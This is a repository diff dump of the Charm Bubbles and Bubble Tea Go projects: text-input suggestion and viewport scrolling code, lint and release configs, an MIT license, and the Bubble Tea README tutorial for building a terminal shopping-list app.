func (m *Model) SetCursorMode(mode CursorMode) tea.Cmd {
return m.Cursor.SetMode(cursor.Mode(mode))
}
func (m Model) completionView(offset int) string {
var (
value = m.value
style = m.PlaceholderStyle.Inline(true).Render
)
if m.canAcceptSuggestion() {
suggestion := m.matchedSuggestions[m.currentSuggestionIndex]
if len(value) < len(suggestion) {
return style(string(suggestion[len(value)+offset:]))
}
}
return ""
}
func (m *Model) getSuggestions(sugs [][]rune) []string {
suggestions := make([]string, len(sugs))
for i, s := range sugs {
suggestions[i] = string(s)
}
return suggestions
}
// AvailableSuggestions returns the list of available suggestions.
func (m *Model) AvailableSuggestions() []string {
return m.getSuggestions(m.suggestions)
}
// MatchedSuggestions returns the list of matched suggestions.
func (m *Model) MatchedSuggestions() []string {
return m.getSuggestions(m.matchedSuggestions)
}
// CurrentSuggestionIndex returns the currently selected suggestion index.
func (m *Model) CurrentSuggestionIndex() int {
return m.currentSuggestionIndex
}
// CurrentSuggestion returns the currently selected suggestion.
func (m *Model) CurrentSuggestion() string {
if m.currentSuggestionIndex >= len(m.matchedSuggestions) {
return ""
}
return string(m.matchedSuggestions[m.currentSuggestionIndex])
}
// canAcceptSuggestion returns whether there is an acceptable suggestion to
// autocomplete the current value.
func (m *Model) canAcceptSuggestion() bool {
return len(m.matchedSuggestions) > 0
}
// updateSuggestions refreshes the list of matching suggestions.
func (m *Model) updateSuggestions() {
if !m.ShowSuggestions {
return
}
if len(m.value) <= 0 || len(m.suggestions) <= 0 {
m.matchedSuggestions = [][]rune{}
return
}
matches := [][]rune{}
for _, s := range m.suggestions {
suggestion := string(s)
if strings.HasPrefix(strings.ToLower(suggestion), strings.ToLower(string(m.value))) {
matches = append(matches, []rune(suggestion))
}
}
if !reflect.DeepEqual(matches, m.matchedSuggestions) {
m.currentSuggestionIndex = 0
}
m.matchedSuggestions = matches
}
// nextSuggestion selects the next suggestion.
func (m *Model) nextSuggestion() {
m.currentSuggestionIndex = (m.currentSuggestionIndex + 1)
if m.currentSuggestionIndex >= len(m.matchedSuggestions) {
m.currentSuggestionIndex = 0
}
}
// previousSuggestion selects the previous suggestion.
func (m *Model) previousSuggestion() {
m.currentSuggestionIndex = (m.currentSuggestionIndex - 1)
if m.currentSuggestionIndex < 0 {
m.currentSuggestionIndex = len(m.matchedSuggestions) - 1
}
}
func (m Model) validate(v []rune) error {
if m.Validate != nil {
return m.Validate(string(v))
}
return nil
}
+60
View File
@@ -0,0 +1,60 @@
// Package viewport provides a component for rendering a viewport in a Bubble
// Tea.
package viewport
import "github.com/charmbracelet/bubbles/key"
const spacebar = " "
// KeyMap defines the keybindings for the viewport. Note that you don't
// necessary need to use keybindings at all; the viewport can be controlled
// programmatically with methods like Model.LineDown(1). See the GoDocs for
// details.
type KeyMap struct {
PageDown key.Binding
PageUp key.Binding
HalfPageUp key.Binding
HalfPageDown key.Binding
Down key.Binding
Up key.Binding
Left key.Binding
Right key.Binding
}
// DefaultKeyMap returns a set of pager-like default keybindings.
func DefaultKeyMap() KeyMap {
return KeyMap{
PageDown: key.NewBinding(
key.WithKeys("pgdown", spacebar, "f"),
key.WithHelp("f/pgdn", "page down"),
),
PageUp: key.NewBinding(
key.WithKeys("pgup", "b"),
key.WithHelp("b/pgup", "page up"),
),
HalfPageUp: key.NewBinding(
key.WithKeys("u", "ctrl+u"),
key.WithHelp("u", "½ page up"),
),
HalfPageDown: key.NewBinding(
key.WithKeys("d", "ctrl+d"),
key.WithHelp("d", "½ page down"),
),
Up: key.NewBinding(
key.WithKeys("up", "k"),
key.WithHelp("↑/k", "up"),
),
Down: key.NewBinding(
key.WithKeys("down", "j"),
key.WithHelp("↓/j", "down"),
),
Left: key.NewBinding(
key.WithKeys("left", "h"),
key.WithHelp("←/h", "move left"),
),
Right: key.NewBinding(
key.WithKeys("right", "l"),
key.WithHelp("→/l", "move right"),
),
}
}
+544
View File
@@ -0,0 +1,544 @@
package viewport
import (
"math"
"strings"
"github.com/charmbracelet/bubbles/key"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"github.com/charmbracelet/x/ansi"
)
// New returns a new model with the given width and height as well as default
// key mappings.
func New(width, height int) (m Model) {
m.Width = width
m.Height = height
m.setInitialValues()
return m
}
// Model is the Bubble Tea model for this viewport element.
type Model struct {
Width int
Height int
KeyMap KeyMap
// Whether or not to respond to the mouse. The mouse must be enabled in
// Bubble Tea for this to work. For details, see the Bubble Tea docs.
MouseWheelEnabled bool
// The number of lines the mouse wheel will scroll. By default, this is 3.
MouseWheelDelta int
// YOffset is the vertical scroll position.
YOffset int
// xOffset is the horizontal scroll position.
xOffset int
// horizontalStep is the number of columns we move left or right during a
// default horizontal scroll.
horizontalStep int
// YPosition is the position of the viewport in relation to the terminal
// window. It's used in high performance rendering only.
YPosition int
// Style applies a lipgloss style to the viewport. Realistically, it's most
// useful for setting borders, margins and padding.
Style lipgloss.Style
// HighPerformanceRendering bypasses the normal Bubble Tea renderer to
// provide higher performance rendering. Most of the time the normal Bubble
// Tea rendering methods will suffice, but if you're passing content with
// a lot of ANSI escape codes you may see improved rendering in certain
// terminals with this enabled.
//
// This should only be used in program occupying the entire terminal,
// which is usually via the alternate screen buffer.
//
// Deprecated: high performance rendering is now deprecated in Bubble Tea.
HighPerformanceRendering bool
initialized bool
lines []string
longestLineWidth int
}
func (m *Model) setInitialValues() {
m.KeyMap = DefaultKeyMap()
m.MouseWheelEnabled = true
m.MouseWheelDelta = 3
m.initialized = true
}
// Init exists to satisfy the tea.Model interface for composability purposes.
func (m Model) Init() tea.Cmd {
return nil
}
// AtTop returns whether or not the viewport is at the very top position.
func (m Model) AtTop() bool {
return m.YOffset <= 0
}
// AtBottom returns whether or not the viewport is at or past the very bottom
// position.
func (m Model) AtBottom() bool {
return m.YOffset >= m.maxYOffset()
}
// PastBottom returns whether or not the viewport is scrolled beyond the last
// line. This can happen when adjusting the viewport height.
func (m Model) PastBottom() bool {
return m.YOffset > m.maxYOffset()
}
// ScrollPercent returns the amount scrolled as a float between 0 and 1.
func (m Model) ScrollPercent() float64 {
if m.Height >= len(m.lines) {
return 1.0
}
y := float64(m.YOffset)
h := float64(m.Height)
t := float64(len(m.lines))
v := y / (t - h)
return math.Max(0.0, math.Min(1.0, v))
}
// HorizontalScrollPercent returns the amount horizontally scrolled as a float
// between 0 and 1.
func (m Model) HorizontalScrollPercent() float64 {
if m.xOffset >= m.longestLineWidth-m.Width {
return 1.0
}
y := float64(m.xOffset)
h := float64(m.Width)
t := float64(m.longestLineWidth)
v := y / (t - h)
return math.Max(0.0, math.Min(1.0, v))
}
// SetContent set the pager's text content.
func (m *Model) SetContent(s string) {
s = strings.ReplaceAll(s, "\r\n", "\n") // normalize line endings
m.lines = strings.Split(s, "\n")
m.longestLineWidth = findLongestLineWidth(m.lines)
if m.YOffset > len(m.lines)-1 {
m.GotoBottom()
}
}
// maxYOffset returns the maximum possible value of the y-offset based on the
// viewport's content and set height.
func (m Model) maxYOffset() int {
return max(0, len(m.lines)-m.Height+m.Style.GetVerticalFrameSize())
}
// visibleLines returns the lines that should currently be visible in the
// viewport.
func (m Model) visibleLines() (lines []string) {
h := m.Height - m.Style.GetVerticalFrameSize()
w := m.Width - m.Style.GetHorizontalFrameSize()
if len(m.lines) > 0 {
top := max(0, m.YOffset)
bottom := clamp(m.YOffset+h, top, len(m.lines))
lines = m.lines[top:bottom]
}
if (m.xOffset == 0 && m.longestLineWidth <= w) || w == 0 {
return lines
}
cutLines := make([]string, len(lines))
for i := range lines {
cutLines[i] = ansi.Cut(lines[i], m.xOffset, m.xOffset+w)
}
return cutLines
}
// scrollArea returns the scrollable boundaries for high performance rendering.
//
// Deprecated: high performance rendering is deprecated in Bubble Tea.
func (m Model) scrollArea() (top, bottom int) {
top = max(0, m.YPosition)
bottom = max(top, top+m.Height)
if top > 0 && bottom > top {
bottom--
}
return top, bottom
}
// SetYOffset sets the Y offset.
func (m *Model) SetYOffset(n int) {
m.YOffset = clamp(n, 0, m.maxYOffset())
}
// ViewDown moves the view down by the number of lines in the viewport.
// Basically, "page down".
//
// Deprecated: use [Model.PageDown] instead.
func (m *Model) ViewDown() []string {
return m.PageDown()
}
// PageDown moves the view down by the number of lines in the viewport.
func (m *Model) PageDown() []string {
if m.AtBottom() {
return nil
}
return m.ScrollDown(m.Height)
}
// ViewUp moves the view up by one height of the viewport.
// Basically, "page up".
//
// Deprecated: use [Model.PageUp] instead.
func (m *Model) ViewUp() []string {
return m.PageUp()
}
// PageUp moves the view up by one height of the viewport.
func (m *Model) PageUp() []string {
if m.AtTop() {
return nil
}
return m.ScrollUp(m.Height)
}
// HalfViewDown moves the view down by half the height of the viewport.
//
// Deprecated: use [Model.HalfPageDown] instead.
func (m *Model) HalfViewDown() (lines []string) {
return m.HalfPageDown()
}
// HalfPageDown moves the view down by half the height of the viewport.
func (m *Model) HalfPageDown() (lines []string) {
if m.AtBottom() {
return nil
}
return m.ScrollDown(m.Height / 2) //nolint:mnd
}
// HalfViewUp moves the view up by half the height of the viewport.
//
// Deprecated: use [Model.HalfPageUp] instead.
func (m *Model) HalfViewUp() (lines []string) {
return m.HalfPageUp()
}
// HalfPageUp moves the view up by half the height of the viewport.
func (m *Model) HalfPageUp() (lines []string) {
if m.AtTop() {
return nil
}
return m.ScrollUp(m.Height / 2) //nolint:mnd
}
// LineDown moves the view down by the given number of lines.
//
// Deprecated: use [Model.ScrollDown] instead.
func (m *Model) LineDown(n int) (lines []string) {
return m.ScrollDown(n)
}
// ScrollDown moves the view down by the given number of lines.
func (m *Model) ScrollDown(n int) (lines []string) {
if m.AtBottom() || n == 0 || len(m.lines) == 0 {
return nil
}
// Make sure the number of lines by which we're going to scroll isn't
// greater than the number of lines we actually have left before we reach
// the bottom.
m.SetYOffset(m.YOffset + n)
// Gather lines to send off for performance scrolling.
//
// XXX: high performance rendering is deprecated in Bubble Tea.
bottom := clamp(m.YOffset+m.Height, 0, len(m.lines))
top := clamp(m.YOffset+m.Height-n, 0, bottom)
return m.lines[top:bottom]
}
// LineUp moves the view down by the given number of lines. Returns the new
// lines to show.
//
// Deprecated: use [Model.ScrollUp] instead.
func (m *Model) LineUp(n int) (lines []string) {
return m.ScrollUp(n)
}
// ScrollUp moves the view down by the given number of lines. Returns the new
// lines to show.
func (m *Model) ScrollUp(n int) (lines []string) {
if m.AtTop() || n == 0 || len(m.lines) == 0 {
return nil
}
// Make sure the number of lines by which we're going to scroll isn't
// greater than the number of lines we are from the top.
m.SetYOffset(m.YOffset - n)
// Gather lines to send off for performance scrolling.
//
// XXX: high performance rendering is deprecated in Bubble Tea.
top := max(0, m.YOffset)
bottom := clamp(m.YOffset+n, 0, m.maxYOffset())
return m.lines[top:bottom]
}
// SetHorizontalStep sets the default amount of columns to scroll left or right
// with the default viewport key map.
//
// If set to 0 or less, horizontal scrolling is disabled.
//
// On v1, horizontal scrolling is disabled by default.
func (m *Model) SetHorizontalStep(n int) {
m.horizontalStep = max(n, 0)
}
// SetXOffset sets the X offset.
func (m *Model) SetXOffset(n int) {
m.xOffset = clamp(n, 0, m.longestLineWidth-m.Width)
}
// ScrollLeft moves the viewport to the left by the given number of columns.
func (m *Model) ScrollLeft(n int) {
m.SetXOffset(m.xOffset - n)
}
// ScrollRight moves viewport to the right by the given number of columns.
func (m *Model) ScrollRight(n int) {
m.SetXOffset(m.xOffset + n)
}
// TotalLineCount returns the total number of lines (both hidden and visible) within the viewport.
func (m Model) TotalLineCount() int {
return len(m.lines)
}
// VisibleLineCount returns the number of the visible lines within the viewport.
func (m Model) VisibleLineCount() int {
return len(m.visibleLines())
}
// GotoTop sets the viewport to the top position.
func (m *Model) GotoTop() (lines []string) {
if m.AtTop() {
return nil
}
m.SetYOffset(0)
return m.visibleLines()
}
// GotoBottom sets the viewport to the bottom position.
func (m *Model) GotoBottom() (lines []string) {
m.SetYOffset(m.maxYOffset())
return m.visibleLines()
}
// Sync tells the renderer where the viewport will be located and requests
// a render of the current state of the viewport. It should be called for the
// first render and after a window resize.
//
// For high performance rendering only.
//
// Deprecated: high performance rendering is deprecated in Bubble Tea.
func Sync(m Model) tea.Cmd {
if len(m.lines) == 0 {
return nil
}
top, bottom := m.scrollArea()
return tea.SyncScrollArea(m.visibleLines(), top, bottom)
}
// ViewDown is a high performance command that moves the viewport up by a given
// number of lines. Use Model.ViewDown to get the lines that should be rendered.
// For example:
//
// lines := model.ViewDown(1)
// cmd := ViewDown(m, lines)
//
// Deprecated: high performance rendering is deprecated in Bubble Tea.
func ViewDown(m Model, lines []string) tea.Cmd {
if len(lines) == 0 {
return nil
}
top, bottom := m.scrollArea()
// XXX: high performance rendering is deprecated in Bubble Tea. In a v2 we
// won't need to return a command here.
return tea.ScrollDown(lines, top, bottom)
}
// ViewUp is a high performance command the moves the viewport down by a given
// number of lines height. Use Model.ViewUp to get the lines that should be
// rendered.
//
// Deprecated: high performance rendering is deprecated in Bubble Tea.
func ViewUp(m Model, lines []string) tea.Cmd {
if len(lines) == 0 {
return nil
}
top, bottom := m.scrollArea()
// XXX: high performance rendering is deprecated in Bubble Tea. In a v2 we
// won't need to return a command here.
return tea.ScrollUp(lines, top, bottom)
}
// Update handles standard message-based viewport updates.
func (m Model) Update(msg tea.Msg) (Model, tea.Cmd) {
var cmd tea.Cmd
m, cmd = m.updateAsModel(msg)
return m, cmd
}
// Author's note: this method has been broken out to make it easier to
// potentially transition Update to satisfy tea.Model.
func (m Model) updateAsModel(msg tea.Msg) (Model, tea.Cmd) {
if !m.initialized {
m.setInitialValues()
}
var cmd tea.Cmd
switch msg := msg.(type) {
case tea.KeyMsg:
switch {
case key.Matches(msg, m.KeyMap.PageDown):
lines := m.PageDown()
if m.HighPerformanceRendering {
cmd = ViewDown(m, lines)
}
case key.Matches(msg, m.KeyMap.PageUp):
lines := m.PageUp()
if m.HighPerformanceRendering {
cmd = ViewUp(m, lines)
}
case key.Matches(msg, m.KeyMap.HalfPageDown):
lines := m.HalfPageDown()
if m.HighPerformanceRendering {
cmd = ViewDown(m, lines)
}
case key.Matches(msg, m.KeyMap.HalfPageUp):
lines := m.HalfPageUp()
if m.HighPerformanceRendering {
cmd = ViewUp(m, lines)
}
case key.Matches(msg, m.KeyMap.Down):
lines := m.ScrollDown(1)
if m.HighPerformanceRendering {
cmd = ViewDown(m, lines)
}
case key.Matches(msg, m.KeyMap.Up):
lines := m.ScrollUp(1)
if m.HighPerformanceRendering {
cmd = ViewUp(m, lines)
}
case key.Matches(msg, m.KeyMap.Left):
m.ScrollLeft(m.horizontalStep)
case key.Matches(msg, m.KeyMap.Right):
m.ScrollRight(m.horizontalStep)
}
case tea.MouseMsg:
if !m.MouseWheelEnabled || msg.Action != tea.MouseActionPress {
break
}
switch msg.Button { //nolint:exhaustive
case tea.MouseButtonWheelUp:
if msg.Shift {
// Note that not every terminal emulator sends the shift event for mouse actions by default (looking at you Konsole)
m.ScrollLeft(m.horizontalStep)
} else {
lines := m.ScrollUp(m.MouseWheelDelta)
if m.HighPerformanceRendering {
cmd = ViewUp(m, lines)
}
}
case tea.MouseButtonWheelDown:
if msg.Shift {
m.ScrollRight(m.horizontalStep)
} else {
lines := m.ScrollDown(m.MouseWheelDelta)
if m.HighPerformanceRendering {
cmd = ViewDown(m, lines)
}
}
// Note that not every terminal emulator sends the horizontal wheel events by default (looking at you Konsole)
case tea.MouseButtonWheelLeft:
m.ScrollLeft(m.horizontalStep)
case tea.MouseButtonWheelRight:
m.ScrollRight(m.horizontalStep)
}
}
return m, cmd
}
// View renders the viewport into a string.
func (m Model) View() string {
if m.HighPerformanceRendering {
// Just send newlines since we're going to be rendering the actual
// content separately. We still need to send something that equals the
// height of this view so that the Bubble Tea standard renderer can
// position anything below this view properly.
return strings.Repeat("\n", max(0, m.Height-1))
}
w, h := m.Width, m.Height
if sw := m.Style.GetWidth(); sw != 0 {
w = min(w, sw)
}
if sh := m.Style.GetHeight(); sh != 0 {
h = min(h, sh)
}
contentWidth := w - m.Style.GetHorizontalFrameSize()
contentHeight := h - m.Style.GetVerticalFrameSize()
contents := lipgloss.NewStyle().
Width(contentWidth). // pad to width.
Height(contentHeight). // pad to height.
MaxHeight(contentHeight). // truncate height if taller.
MaxWidth(contentWidth). // truncate width if wider.
Render(strings.Join(m.visibleLines(), "\n"))
return m.Style.
UnsetWidth().UnsetHeight(). // Style size already applied in contents.
Render(contents)
}
func clamp(v, low, high int) int {
if high < low {
low, high = high, low
}
return min(high, max(low, v))
}
func findLongestLineWidth(lines []string) int {
w := 0
for _, l := range lines {
if ww := ansi.StringWidth(l); ww > w {
w = ww
}
}
return w
}
@@ -0,0 +1 @@
*.golden -text
+23
View File
@@ -0,0 +1,23 @@
.DS_Store
.envrc
examples/fullscreen/fullscreen
examples/help/help
examples/http/http
examples/list-default/list-default
examples/list-fancy/list-fancy
examples/list-simple/list-simple
examples/mouse/mouse
examples/pager/pager
examples/progress-download/color_vortex.blend
examples/progress-download/progress-download
examples/simple/simple
examples/spinner/spinner
examples/textinput/textinput
examples/textinputs/textinputs
examples/views/views
tutorials/basics/basics
tutorials/commands/commands
.idea
coverage.txt
dist/
+44
View File
@@ -0,0 +1,44 @@
version: "2"
run:
tests: false
linters:
enable:
- bodyclose
- exhaustive
- goconst
- godot
- gomoddirectives
- goprintffuncname
- gosec
- misspell
- nakedret
- nestif
- nilerr
- noctx
- nolintlint
- prealloc
- revive
- rowserrcheck
- sqlclosecheck
- tparallel
- unconvert
- unparam
- whitespace
- wrapcheck
exclusions:
rules:
- text: '(slog|log)\.\w+'
linters:
- noctx
generated: lax
presets:
- common-false-positives
issues:
max-issues-per-linter: 0
max-same-issues: 0
formatters:
enable:
- gofumpt
- goimports
exclusions:
generated: lax
+5
View File
@@ -0,0 +1,5 @@
# yaml-language-server: $schema=https://goreleaser.com/static/schema-pro.json
version: 2
includes:
- from_url:
url: charmbracelet/meta/main/goreleaser-lib.yaml
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020-2025 Charmbracelet, Inc
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+400
View File
@@ -0,0 +1,400 @@
# Bubble Tea
<p>
<picture>
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/bubbletea/bubble-tea-v2-light.png" width="308">
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/bubbletea/bubble-tea-v2-dark.png" width="312">
<img src="https://stuff.charm.sh/bubbletea/bubble-tea-v2-light.png" width="308" />
</picture>
<br>
<a href="https://github.com/charmbracelet/bubbletea/releases"><img src="https://img.shields.io/github/release/charmbracelet/bubbletea.svg" alt="Latest Release"></a>
<a href="https://pkg.go.dev/github.com/charmbracelet/bubbletea?tab=doc"><img src="https://godoc.org/github.com/charmbracelet/bubbletea?status.svg" alt="GoDoc"></a>
<a href="https://github.com/charmbracelet/bubbletea/actions"><img src="https://github.com/charmbracelet/bubbletea/actions/workflows/build.yml/badge.svg?branch=main" alt="Build Status"></a>
</p>
The fun, functional and stateful way to build terminal apps. A Go framework
based on [The Elm Architecture][elm]. Bubble Tea is well-suited for simple and
complex terminal applications, either inline, full-window, or a mix of both.
<p>
<img src="https://stuff.charm.sh/bubbletea/bubbletea-example.gif" width="100%" alt="Bubble Tea Example">
</p>
Bubble Tea is in use in production and includes a number of features and
performance optimizations we’ve added along the way. Among those is
a framerate-based renderer, mouse support, focus reporting and more.
To get started, see the tutorial below, the [examples][examples], the
[docs][docs], the [video tutorials][youtube] and some common [resources](#libraries-we-use-with-bubble-tea).
[youtube]: https://charm.sh/yt
## By the way
Be sure to check out [Bubbles][bubbles], a library of common UI components for Bubble Tea.
<p>
<a href="https://github.com/charmbracelet/bubbles"><img src="https://stuff.charm.sh/bubbles/bubbles-badge.png" width="174" alt="Bubbles Badge"></a>&nbsp;&nbsp;
<a href="https://github.com/charmbracelet/bubbles"><img src="https://stuff.charm.sh/bubbles-examples/textinput.gif" width="400" alt="Text Input Example from Bubbles"></a>
</p>
---
## Tutorial
Bubble Tea is based on the functional design paradigms of [The Elm
Architecture][elm], which happens to work nicely with Go. It's a delightful way
to build applications.
This tutorial assumes you have a working knowledge of Go.
By the way, the non-annotated source code for this program is available
[on GitHub][tut-source].
[elm]: https://guide.elm-lang.org/architecture/
[tut-source]: https://github.com/charmbracelet/bubbletea/tree/main/tutorials/basics
### Enough! Let's get to it.
For this tutorial, we're making a shopping list.
To start we'll define our package and import some libraries. Our only external
import will be the Bubble Tea library, which we'll call `tea` for short.
```go
package main
// These imports will be used later on the tutorial. If you save the file
// now, Go might complain they are unused, but that's fine.
// You may also need to run `go mod tidy` to download bubbletea and its
// dependencies.
import (
"fmt"
"os"
tea "github.com/charmbracelet/bubbletea"
)
```
Bubble Tea programs are comprised of a **model** that describes the application
state and three simple methods on that model:
- **Init**, a function that returns an initial command for the application to run.
- **Update**, a function that handles incoming events and updates the model accordingly.
- **View**, a function that renders the UI based on the data in the model.
### The Model
So let's start by defining our model which will store our application's state.
It can be any type, but a `struct` usually makes the most sense.
```go
type model struct {
choices []string // items on the to-do list
cursor int // which to-do list item our cursor is pointing at
selected map[int]struct{} // which to-do items are selected
}
```
### Initialization
Next, we’ll define our application’s initial state. In this case, we’re defining
a function to return our initial model, however, we could just as easily define
the initial model as a variable elsewhere, too.
```go
func initialModel() model {
return model{
// Our to-do list is a grocery list
choices: []string{"Buy carrots", "Buy celery", "Buy kohlrabi"},
// A map which indicates which choices are selected. We're using
// the map like a mathematical set. The keys refer to the indexes
// of the `choices` slice, above.
selected: make(map[int]struct{}),
}
}
```
Next, we define the `Init` method. `Init` can return a `Cmd` that could perform
some initial I/O. For now, we don't need to do any I/O, so for the command,
we'll just return `nil`, which translates to "no command."
```go
func (m model) Init() tea.Cmd {
// Just return `nil`, which means "no I/O right now, please."
return nil
}
```
### The Update Method
Next up is the update method. The update function is called when ”things
happen.” Its job is to look at what has happened and return an updated model in
response. It can also return a `Cmd` to make more things happen, but for now
don't worry about that part.
In our case, when a user presses the down arrow, `Update`’s job is to notice
that the down arrow was pressed and move the cursor accordingly (or not).
The “something happened” comes in the form of a `Msg`, which can be any type.
Messages are the result of some I/O that took place, such as a keypress, timer
tick, or a response from a server.
We usually figure out which type of `Msg` we received with a type switch, but
you could also use a type assertion.
For now, we'll just deal with `tea.KeyMsg` messages, which are automatically
sent to the update function when keys are pressed.
```go
func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
// Is it a key press?
case tea.KeyMsg:
// Cool, what was the actual key pressed?
switch msg.String() {
// These keys should exit the program.
case "ctrl+c", "q":
return m, tea.Quit
// The "up" and "k" keys move the cursor up
case "up", "k":
if m.cursor > 0 {
m.cursor--
}
// The "down" and "j" keys move the cursor down
case "down", "j":
if m.cursor < len(m.choices)-1 {
m.cursor++
}
// The "enter" key and the spacebar (a literal space) toggle
// the selected state for the item that the cursor is pointing at.
case "enter", " ":
_, ok := m.selected[m.cursor]
if ok {
delete(m.selected, m.cursor)
} else {
m.selected[m.cursor] = struct{}{}
}
}
}
// Return the updated model to the Bubble Tea runtime for processing.
// Note that we're not returning a command.
return m, nil
}
```
You may have noticed that <kbd>ctrl+c</kbd> and <kbd>q</kbd> above return
a `tea.Quit` command with the model. That’s a special command which instructs
the Bubble Tea runtime to quit, exiting the program.
### The View Method
At last, it’s time to render our UI. Of all the methods, the view is the
simplest. We look at the model in its current state and use it to return
a `string`. That string is our UI!
Because the view describes the entire UI of your application, you don’t have to
worry about redrawing logic and stuff like that. Bubble Tea takes care of it
for you.
```go
func (m model) View() string {
// The header
s := "What should we buy at the market?\n\n"
// Iterate over our choices
for i, choice := range m.choices {
// Is the cursor pointing at this choice?
cursor := " " // no cursor
if m.cursor == i {
cursor = ">" // cursor!
}
// Is this choice selected?
checked := " " // not selected
if _, ok := m.selected[i]; ok {
checked = "x" // selected!
}
// Render the row
s += fmt.Sprintf("%s [%s] %s\n", cursor, checked, choice)
}
// The footer
s += "\nPress q to quit.\n"
// Send the UI for rendering
return s
}
```
### All Together Now
The last step is to simply run our program. We pass our initial model to
`tea.NewProgram` and let it rip:
```go
func main() {
p := tea.NewProgram(initialModel())
if _, err := p.Run(); err != nil {
fmt.Printf("Alas, there's been an error: %v", err)
os.Exit(1)
}
}
```
## What’s Next?
This tutorial covers the basics of building an interactive terminal UI, but
in the real world you'll also need to perform I/O. To learn about that have a
look at the [Command Tutorial][cmd]. It's pretty simple.
There are also several [Bubble Tea examples][examples] available and, of course,
there are [Go Docs][docs].
[cmd]: https://github.com/charmbracelet/bubbletea/tree/main/tutorials/commands/
[examples]: https://github.com/charmbracelet/bubbletea/tree/main/examples
[docs]: https://pkg.go.dev/github.com/charmbracelet/bubbletea?tab=doc
## Debugging
### Debugging with Delve
Since Bubble Tea apps assume control of stdin and stdout, you’ll need to run
delve in headless mode and then connect to it:
```bash
# Start the debugger
$ dlv debug --headless --api-version=2 --listen=127.0.0.1:43000 .
API server listening at: 127.0.0.1:43000
# Connect to it from another terminal
$ dlv connect 127.0.0.1:43000
```
If you do not explicitly supply the `--listen` flag, the port used will vary
per run, so passing this in makes the debugger easier to use from a script
or your IDE of choice.
Additionally, we pass in `--api-version=2` because delve defaults to version 1
for backwards compatibility reasons. However, delve recommends using version 2
for all new development and some clients may no longer work with version 1.
For more information, see the [Delve documentation](https://github.com/go-delve/delve/tree/master/Documentation/api).
### Logging Stuff
You can’t really log to stdout with Bubble Tea because your TUI is busy
occupying that! You can, however, log to a file by including something like
the following prior to starting your Bubble Tea program:
```go
if len(os.Getenv("DEBUG")) > 0 {
f, err := tea.LogToFile("debug.log", "debug")
if err != nil {
fmt.Println("fatal:", err)
os.Exit(1)
}
defer f.Close()
}
```
To see what’s being logged in real time, run `tail -f debug.log` while you run
your program in another window.
## Libraries we use with Bubble Tea
- [Bubbles][bubbles]: Common Bubble Tea components such as text inputs, viewports, spinners and so on
- [Lip Gloss][lipgloss]: Style, format and layout tools for terminal applications
- [Harmonica][harmonica]: A spring animation library for smooth, natural motion
- [BubbleZone][bubblezone]: Easy mouse event tracking for Bubble Tea components
- [ntcharts][ntcharts]: A terminal charting library built for Bubble Tea and [Lip Gloss][lipgloss]
[bubbles]: https://github.com/charmbracelet/bubbles
[lipgloss]: https://github.com/charmbracelet/lipgloss
[harmonica]: https://github.com/charmbracelet/harmonica
[bubblezone]: https://github.com/lrstanley/bubblezone
[ntcharts]: https://github.com/NimbleMarkets/ntcharts
## Bubble Tea in the Wild
There are over [10,000 applications](https://github.com/charmbracelet/bubbletea/network/dependents) built with Bubble Tea! Here are a handful of ’em.
### Staff favourites
- [chezmoi](https://github.com/twpayne/chezmoi): securely manage your dotfiles across multiple machines
- [circumflex](https://github.com/bensadeh/circumflex): read Hacker News in the terminal
- [gh-dash](https://www.github.com/dlvhdr/gh-dash): a GitHub CLI extension for PRs and issues
- [Tetrigo](https://github.com/Broderick-Westrope/tetrigo): Tetris in the terminal
- [Signls](https://github.com/emprcl/signls): a generative midi sequencer designed for composition and live performance
- [Superfile](https://github.com/yorukot/superfile): a super file manager
### In Industry
- Microsoft Azure – [Aztify](https://github.com/Azure/aztfy): bring Microsoft Azure resources under Terraform
- Daytona – [Daytona](https://github.com/daytonaio/daytona): open source dev environment manager
- Cockroach Labs – [CockroachDB](https://github.com/cockroachdb/cockroach): a cloud-native, high-availability distributed SQL database
- Truffle Security Co. – [Trufflehog](https://github.com/trufflesecurity/trufflehog): find leaked credentials
- NVIDIA – [container-canary](https://github.com/NVIDIA/container-canary): a container validator
- AWS – [eks-node-viewer](https://github.com/awslabs/eks-node-viewer): a tool for visualizing dynamic node usage within an EKS cluster
- MinIO – [mc](https://github.com/minio/mc): the official [MinIO](https://min.io) client
- Ubuntu – [Authd](https://github.com/ubuntu/authd): an authentication daemon for cloud-based identity providers
### Charm stuff
- [Glow](https://github.com/charmbracelet/glow): a markdown reader, browser, and online markdown stash
- [Huh?](https://github.com/charmbracelet/huh): an interactive prompt and form toolkit
- [Mods](https://github.com/charmbracelet/mods): AI on the CLI, built for pipelines
- [Wishlist](https://github.com/charmbracelet/wishlist): an SSH directory (and bastion!)
### There’s so much more where that came from
For more applications built with Bubble Tea see [Charm & Friends][community].
Is there something cool you made with Bubble Tea you want to share? [PRs][community] are
welcome!
## Contributing
See [contributing][contribute].
[contribute]: https://github.com/charmbracelet/bubbletea/contribute
## Feedback
We’d love to hear your thoughts on this project. Feel free to drop us a note!
- [Twitter](https://twitter.com/charmcli)
- [The Fediverse](https://mastodon.social/@charmcli)
- [Discord](https://charm.sh/chat)
## Acknowledgments
Bubble Tea is based on the paradigms of [The Elm Architecture][elm] by Evan
Czaplicki et alia and the excellent [go-tea][gotea] by TJ Holowaychuk. It’s
inspired by the many great [_Zeichenorientierte Benutzerschnittstellen_][zb]
of days past.
